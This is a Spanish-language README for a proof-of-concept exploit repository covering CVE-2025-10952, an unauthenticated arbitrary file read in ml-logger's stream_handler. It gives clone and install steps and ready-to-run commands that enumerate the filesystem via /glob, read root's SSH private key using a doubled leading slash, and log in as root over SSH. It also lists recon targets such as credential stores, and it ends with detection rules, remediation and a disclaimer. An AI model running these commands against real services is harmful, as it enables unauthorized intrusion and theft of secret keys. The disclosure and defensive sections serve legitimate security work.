
PoC para CVE-2025-10952 — lectura arbitraria de archivos no autenticada en ml-logger. CVSS 5.3
stream_handler de ml-loggerEste repositorio proporciona un script Python independiente — CVE-2025-10952.py — que explota una vulnerabilidad de lectura arbitraria de archivos sin autenticación en stream_handler de ml-logger, encadenada con el endpoint /glob para la enumeración del sistema de archivos.
Cuando se ejecuta contra una instancia vulnerable de ml-logger, el script:
/glob (sin autenticación, sin restricción de rutas fuera del alcance previsto)./stream suministrando un parámetro manipulado que rompe la lógica de unión de la ruta base del handler.keyDebido a que stream_handler pasa el campo key suministrado por el cliente directamente a una resolución de ruta de archivo y a una llamada de streaming sin comprobación de contención, un atacante de red sin autenticación puede leer cualquier archivo accesible para el usuario del sistema operativo del servicio.
ml_logger/server.py — stream_handler (File Handler)AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:Nacf255bade5be6ad88d90735c8367b28cbe3a743 (proyecto de lanzamiento continuo; no se publicó una versión corregida en el momento de la divulgación)stream_handler acepta un cuerpo JSON que contiene un campo key y lo pasa directamente a una llamada de lectura de archivo sin saneamiento de rutas. El endpoint hermano glob_handler implementa restricciones parciales de rutas (bloqueando rutas absolutas y traversal), pero stream_handler no comparte esa validación — una barra inicial duplicada en key (por ejemplo, //root/.ssh/id_rsa) es suficiente para salir del directorio base previsto.
ml-loggergit clone https://github.com/Khashayarnzk/CVE-2025-10952-ml-logger-AFR.git
cd CVE-2025-10952-ml-logger-AFR
pip install -r requirements.txt
Enumerar archivos:
python3 CVE-2025-10952.py --target TARGET --port 8081 --glob "/etc/*"
Leer un archivo arbitrario:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa"
Leer y guardar en disco:
python3 CVE-2025-10952.py --target TARGET --port 8081 --read "//root/.ssh/id_rsa" --out id_rsa_root
chmod 600 id_rsa_root
ssh -i id_rsa_root -o StrictHostKeyChecking=no root@TARGET
--port tiene como valor predeterminado 8081, el puerto predeterminado para la API de file-broker de ml-logger en una implementación estándar. El frontend del panel de control normalmente se sirve en un puerto separado y no forma parte de la ruta vulnerable.
/glob del objetivo responde 405 Method Not Allowed con Allow: POST — esto identifica el puerto de la API frente al frontend estático del panel de control.--glob para mapear archivos interesantes (claves SSH, configuraciones, almacenes de credenciales).--read, usando una barra inicial duplicada para rutas absolutas.key/path que contengan .., barras iniciales duplicadas (//) o prefijos de ruta absoluta (/etc, /root, /proc) dirigidos a los puertos del servicio ml-logger.~/.ssh/, /etc/shadow, /etc/passwd debería marcar lecturas originadas desde la identidad del proceso ml-logger.ml-logger a una red no confiable sin un proxy inverso autenticado delante de él.os.path.realpath() verificada contra un directorio base en lista blanca) en stream_handler; ejecutar el servicio bajo una cuenta de sistema dedicada y sin privilegios.Este repositorio contiene un exploit de prueba de concepto para CVE-2025-10952, una vulnerabilidad de divulgación de información sin autenticación en ml-logger. Use este código solo en entornos que le pertenezcan o para los que tenga autorización explícita de prueba. El autor no es responsable de ningún uso indebido o daño causado por este software.
Consulte LICENSE.